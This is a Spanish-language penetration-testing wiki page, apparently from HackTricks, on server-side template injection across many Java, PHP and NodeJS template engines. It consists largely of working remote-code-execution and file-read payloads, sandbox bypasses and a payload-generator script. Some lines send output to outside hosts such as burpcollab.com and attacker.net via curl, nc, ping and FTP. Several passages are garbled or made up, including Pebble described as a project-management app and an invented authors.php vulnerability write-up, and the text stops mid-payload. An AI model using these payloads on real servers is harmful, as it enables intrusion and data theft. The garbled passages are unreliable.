55 KiB
SSTI (Inyección de plantillas del lado del servidor)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
¿Qué es la inyección de plantillas del lado del servidor?
La inyección de plantillas del lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis de plantilla nativa para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.
Los motores de plantillas están diseñados para generar páginas web combinando plantillas fijas con datos volátiles. Los ataques de inyección de plantillas del lado del servidor pueden ocurrir cuando la entrada del usuario se concatena directamente en una plantilla, en lugar de pasarla como datos. Esto permite a los atacantes inyectar directivas de plantilla arbitrarias para manipular el motor de plantillas, lo que a menudo les permite tomar el control completo del servidor.
Un ejemplo de código vulnerable se muestra a continuación:
$output = $twig->render("Dear " . $_GET['name']);
En el ejemplo anterior, parte de la plantilla en sí misma está siendo generada dinámicamente usando el parámetro GET
name
. Como la sintaxis de la plantilla se evalúa en el lado del servidor, esto potencialmente permite a un atacante colocar una carga útil de inyección de plantilla en el lado del servidor dentro del parámetro name
de la siguiente manera:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Construyendo un ataque de inyección de plantilla en el lado del servidor
Detectar
Al igual que con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar fuzzear la plantilla inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantilla, como el políglota ${{<%[%'"}}%\
.
Para comprobar si el servidor es vulnerable, debe detectar las diferencias entre la respuesta con datos regulares en el parámetro y el payload proporcionado.
Si se produce un error, será bastante fácil averiguar que el servidor es vulnerable e incluso qué motor se está ejecutando. Pero también podría encontrar un servidor vulnerable si esperaba que reflejara el payload dado y no lo está haciendo o si hay algunos caracteres faltantes en la respuesta.
Detectar - Contexto de texto plano
La entrada dada se está renderizando y reflejando en la respuesta. Esto es fácilmente confundido con una vulnerabilidad simple de XSS, pero es fácil de diferenciar si intenta establecer operaciones matemáticas dentro de una expresión de plantilla:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
Detectar - Contexto de código
En estos casos, la entrada del usuario se está colocando dentro de una expresión de plantilla:
engine.render("Hello {{"+greeting+"}}", data)
El acceso a la página puede ser similar a: http://vulnerable-website.com/?greeting=data.username
Si cambias el parámetro greeting
por un valor diferente, la respuesta no contendrá el nombre de usuario, pero si accedes a algo como: http://vulnerable-website.com/?greeting=data.username}}hello
entonces, la respuesta contendrá el nombre de usuario (si los caracteres de cierre de la expresión de la plantilla fueron }}
).
Si se produce un error durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.
Identificación
Una vez que se ha detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.
Aunque hay una gran cantidad de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no chocar con los caracteres HTML.
Si tienes suerte, el servidor estará imprimiendo los errores y podrás encontrar el motor utilizado dentro de los errores. Algunas cargas útiles posibles que pueden causar errores son:
${} |
{{}} |
<%= %> |
---|---|---|
${7/0} |
{{7/0}} |
<%= 7/0 %> |
${foobar} |
{{foobar}} |
<%= foobar %> |
${7*7} |
{{7*7}} |
`` |
De lo contrario, deberás probar manualmente diferentes cargas útiles específicas del lenguaje y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan correctamente. Para ayudar en este proceso, puedes usar un árbol de decisiones similar al siguiente:
Explotación
Leer
El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Las áreas clave de interés son:
- Secciones 'Para autores de plantillas' que cubren la sintaxis básica.
- 'Consideraciones de seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
- Listas de métodos, funciones, filtros y variables integrados.
- Listas de extensiones/plugins - algunos pueden estar habilitados de forma predeterminada.
Explorar
Suponiendo que no se han presentado exploits, el siguiente paso es explorar el entorno para averiguar exactamente a qué tienes acceso. Puedes esperar encontrar tanto objetos predeterminados proporcionados por el motor de plantillas, como objetos específicos de la aplicación pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
Si no hay un objeto self integrado, tendrás que probar nombres de variables mediante SecLists y la colección de listas de palabras de Burp Intruder.
Los objetos suministrados por el desarrollador son particularmente propensos a contener información sensible, y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso debe aplicarse idealmente a cada plantilla individualmente.
Atacar
En este punto, deberías tener una idea firme de la superficie de ataque disponible y ser capaz de proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones pueden ser utilizadas para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y las vulnerabilidades de escalada de privilegios.
Herramientas
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Exploits
Genérico
En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:
Java
Java - Inyección básica
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - Obtener las variables de entorno del sistema
Para obtener las variables de entorno del sistema en Java, podemos utilizar la clase System
y su método getenv()
. Este método devuelve un objeto Map
que contiene todas las variables de entorno del sistema y sus valores. Podemos iterar sobre este objeto para obtener las variables de entorno individuales y sus valores.
Map<String, String> env = System.getenv();
for (String envName : env.keySet()) {
System.out.format("%s=%s%n", envName, env.get(envName));
}
También podemos obtener el valor de una variable de entorno específica utilizando el método getenv(String name)
de la clase System
. Este método toma el nombre de la variable de entorno como argumento y devuelve su valor.
String path = System.getenv("PATH");
System.out.println("PATH = " + path);
${T(java.lang.System).getenv()}
Java - Obtener /etc/passwd
Este es un ejemplo de cómo se puede obtener el archivo /etc/passwd
en un servidor vulnerable a la inyección de plantillas del lado del servidor (SSTI) utilizando Java.
import java.io.*;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
String payload = "${new java.util.Scanner(new java.io.File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next()}";
Map<String, Object> model = new HashMap<>();
model.put("user", payload);
String result = TemplateEngine.render("Hello, ${user}!", model);
System.out.println(result);
}
}
class TemplateEngine {
public static String render(String template, Map<String, Object> model) throws Exception {
StringReader reader = new StringReader(template);
StringWriter writer = new StringWriter();
Velocity.evaluate(new VelocityContext(model), writer, "", reader);
return writer.toString();
}
}
En este ejemplo, se utiliza la biblioteca Velocity para procesar la plantilla. La carga útil se inserta en la variable user
y se pasa al motor de plantillas para su procesamiento. La carga útil utiliza la clase Scanner
de Java para leer el contenido del archivo /etc/passwd
y devolverlo como una cadena.
Este es solo un ejemplo de cómo se puede utilizar la inyección de plantillas del lado del servidor para obtener información confidencial del servidor. Es importante tener en cuenta que esta técnica solo funciona en servidores vulnerables a la inyección de plantillas del lado del servidor y no debe utilizarse para fines malintencionados.
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Puedes probar tus payloads en https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de Sandbox
⚠️ solo funciona en versiones de Freemarker inferiores a 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Más información
- En la sección de FreeMarker de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Más información
- En la sección Velocity de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf (Java)
La expresión de prueba típica para SSTI es ${7*7}
. Esta expresión también funciona en Thymeleaf. Si desea lograr la ejecución remota de código, puede usar una de las siguientes expresiones de prueba:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Sin embargo, como mencionamos antes, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite inlineado de expresiones. Para usar esta función, debe colocar una expresión dentro de [[...]]
o [(...)]
(seleccione uno u otro según si necesita escapar símbolos especiales). Por lo tanto, una carga útil de detección SSTI simple para Thymeleaf sería [[${7*7}]]
.
Las posibilidades de que la carga útil de detección anterior funcione son, sin embargo, muy bajas. Las vulnerabilidades de SSTI generalmente ocurren cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse antes. Por lo tanto, si un desarrollador quiere crear una plantilla a partir de una cadena sobre la marcha, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.
Si profundizamos en la documentación del motor de plantillas Thymeleaf, encontraremos una característica interesante llamada preprocesamiento de expresiones. Las expresiones colocadas entre doble guión bajo (__...__
) se preprocesan y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí hay un ejemplo oficial de la documentación de Thymeleaf:
#{selection.__${sel.code}__}
Ejemplo vulnerable
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Más información
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Marco de trabajo Spring (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypassar filtros
Se pueden usar múltiples expresiones de variables, si ${...}
no funciona, intente con #{...}
, *{...}
, @{...}
o ~{...}
.
- Leer
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script personalizado para la generación de payloads
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Más información
Manipulación de vistas de Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versión antigua de Pebble ( < versión 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nueva versión de Pebble:
Descripción
Pebble es una aplicación de gestión de proyectos que permite a los usuarios crear, organizar y colaborar en proyectos. La última versión de Pebble incluye nuevas características y mejoras de rendimiento.
Características nuevas
- Integración con Slack: ahora puedes conectar tus proyectos de Pebble con canales de Slack para recibir notificaciones y actualizaciones en tiempo real.
- Mejoras en la interfaz de usuario: la interfaz de usuario ha sido actualizada para mejorar la usabilidad y la accesibilidad.
- Mejoras en la velocidad: se han realizado mejoras en el rendimiento para que la aplicación sea más rápida y eficiente.
Cómo actualizar
Los usuarios de Pebble recibirán una notificación de actualización en la aplicación. Simplemente sigue las instrucciones para actualizar a la última versión. Si no recibes la notificación, puedes buscar actualizaciones en la configuración de la aplicación.
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava es un motor de plantillas Java que admite la ejecución de código Java en plantillas. Es similar a Twig y Django, pero está diseñado específicamente para Java. Jinjava se utiliza comúnmente en el marco de aplicaciones web Spring.
La inyección de plantillas del lado del servidor (SSTI) en Jinjava se produce cuando se permite que el usuario ingrese plantillas que se ejecutan en el servidor. Esto puede permitir que un atacante ejecute código malicioso en el servidor y, en última instancia, tomar el control del servidor.
Para evitar la inyección de plantillas del lado del servidor en Jinjava, se deben seguir las mejores prácticas de seguridad, como validar y sanitizar todas las entradas de usuario y limitar los permisos de ejecución en el servidor.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/
Jinjava - Ejecución de comandos
Solucionado por https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Más información
Hubspot - HuBL (Java)
- Delimitadores de sentencia
{% %}
- Delimitadores de expresión
{{ }}
- Delimitadores de comentario
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Busque "com.hubspot.content.hubl.context.TemplateContextRequest" y descubra el proyecto Jinjava en Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Más información
Lenguaje de Expresión - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados). EL es utilizado por varias tecnologías JavaEE, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI).
Consulte la siguiente página para obtener más información sobre la explotación de los intérpretes EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Este bypass del Administrador de Seguridad fue tomado de este informe.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro candente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Más información
- En la sección Smarty de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Twig - Formato de plantilla
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Más información
- En la sección Twig y Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates está inspirado en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.
controlador:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Inyección de plantillas del lado del servidor (SSTI)
La inyección de plantillas del lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor al explotar una aplicación web que utiliza plantillas para generar contenido dinámico.
¿Cómo funciona?
Las aplicaciones web a menudo utilizan plantillas para generar contenido dinámico. Estas plantillas contienen código que se ejecuta en el servidor para generar el contenido que se muestra al usuario. Si un atacante puede controlar el contenido de una plantilla, puede inyectar código malicioso que se ejecutará en el servidor.
Ejemplo
Un ejemplo común de SSTI es cuando una aplicación web utiliza la plantilla de Jinja2 para generar contenido dinámico. Si la aplicación no está configurada correctamente, un atacante puede inyectar código malicioso en la plantilla y hacer que se ejecute en el servidor.
Por ejemplo, si la aplicación utiliza la siguiente plantilla:
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>{{ message }}</h1>
</body>
</html>
Un atacante podría inyectar código malicioso en la plantilla de la siguiente manera:
{{ 7 * 7 }}
Esto haría que la plantilla se renderice como:
<!DOCTYPE html>
<html>
<head>
<title>49</title>
</head>
<body>
<h1></h1>
</body>
</html>
Como se puede ver, el código malicioso se ha ejecutado en el servidor y ha generado el número 49 en el título de la página.
Prevención
Para prevenir la inyección de plantillas del lado del servidor, es importante asegurarse de que las aplicaciones web estén configuradas correctamente y de que se utilicen las últimas versiones de las bibliotecas de plantillas. También es importante validar y escapar cualquier entrada de usuario que se utilice en las plantillas para evitar la inyección de código malicioso.
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
plantilla de diseño:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
PHPlib y HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
Descripción
Este archivo es una página web que muestra información sobre los autores de un blog. La información se muestra utilizando plantillas del lado del servidor.
Vulnerabilidad
Este archivo es vulnerable a la inyección de plantillas del lado del servidor (SSTI). Un atacante puede enviar una carga útil maliciosa a través de la URL que puede ser interpretada por el servidor como una plantilla y ejecutada. Esto puede permitir al atacante leer archivos del sistema, ejecutar comandos en el servidor y obtener acceso a información confidencial.
Reproducción
- Navegue a la página
authors.php
. - Agregue
?author={{7*7}}
al final de la URL y presione Enter. - La página mostrará información sobre el autor cuyo ID es 49.
Solución
Para evitar la inyección de plantillas del lado del servidor, se debe validar y sanitizar cualquier entrada del usuario que se utilice en las plantillas. También se puede utilizar una biblioteca de plantillas que tenga una función de escape incorporada para evitar la ejecución de código malicioso.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Jade (NodeJS)
Jade es un motor de plantillas para NodeJS que permite a los desarrolladores crear vistas HTML de manera más fácil y rápida. Jade utiliza una sintaxis simplificada y elegante que permite a los desarrolladores escribir menos código y crear vistas más limpias y legibles. Sin embargo, esta simplicidad también puede ser una vulnerabilidad, ya que los atacantes pueden aprovechar las vulnerabilidades de inyección de plantillas del lado del servidor (SSTI) para ejecutar código malicioso en el servidor.
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Más información
- En la sección Jade de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate es un motor de plantillas PHP que no compila y que utiliza etiquetas XML para dividir un documento en diferentes partes.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Handlebars (NodeJS)
Travesía de ruta (más información aquí).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Error
- ${7*7} = ${7*7}
- Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
